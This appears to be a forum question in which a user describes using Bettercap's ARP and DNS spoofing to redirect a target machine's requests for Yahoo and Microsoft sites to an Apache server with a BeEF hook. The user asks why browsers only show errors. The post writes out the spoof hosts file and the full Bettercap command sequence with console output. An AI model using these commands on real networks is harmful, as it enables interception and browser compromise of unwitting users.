0

I recently have been using Bettercap and have been trying to use the dns spoof feature to redirect websites to my Apache server which has a beef hook embedded. It is very simple theoretically, but when I use the dns and arp features, it only denies access to spoofed websites. *For reference 192.168.1.3 is the target ip, 192.168.1.11 is the attacker ip, and 192.168.1.1 is the gateway. My hosts.conf file looks like this:

192.168.1.11 *yahoo.com
192.168.1.11 *microsoft.com

Here is what I run when I start Bettercap:

root@kali:~# bettercap
bettercap v2.26.1 (built for linux amd64 with go1.13.4) [type 'help' for a list of commands]

192.168.1.0/24 > 192.168.1.107  » set dns.spoof.hosts hosts.conf
192.168.1.0/24 > 192.168.1.107  » set arp.spoof.internal true
192.168.1.0/24 > 192.168.1.107  » set arp.spoof.targets 192.168.1.3, 192.168.1.1
192.168.1.0/24 > 192.168.1.107  » arp.spoof on
192.168.1.0/24 > 192.168.1.107  » [01:52:01] [sys.log] [inf] arp.spoof starting net.recon as a requirement for arp.spoof
192.168.1.0/24 > 192.168.1.107  » [01:52:01] [sys.log] [war] arp.spoof arp spoofer started targeting 254 possible network neighbours of 2 targets.
192.168.1.0/24 > 192.168.1.107  » dns.spoof on
192.168.1.0/24 > 192.168.1.107  » [01:52:05] [sys.log] [inf] dns.spoof loading hosts from file hosts.conf ...
192.168.1.0/24 > 192.168.1.107  » [01:52:05] [sys.log] [inf] dns.spoof *yahoo.com -> 192.168.1.11
192.168.1.0/24 > 192.168.1.107  » [01:52:05] [sys.log] [inf] dns.spoof *outlook.com -> 192.168.1.11
192.168.1.0/24 > 192.168.1.107  » [01:52:05] [sys.log] [inf] dns.spoof *microsoft.com -> 192.168.1.11

I can tell that it attempts to spoof due to the output of the Bettercap console and that Microsoft and Facebook are failing to load, but the problem is, all Google Chrome does is give me and error and no redirection happens: Google Chrome's error Also, even after I close out of Bettercap on the attacking machine, Microsoft and Facebook still fail to load until I completely shut down the attacking machine. Could anyone explain that? And could anyone tell me why it is not redirecting? Happy to provide more information if needed.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.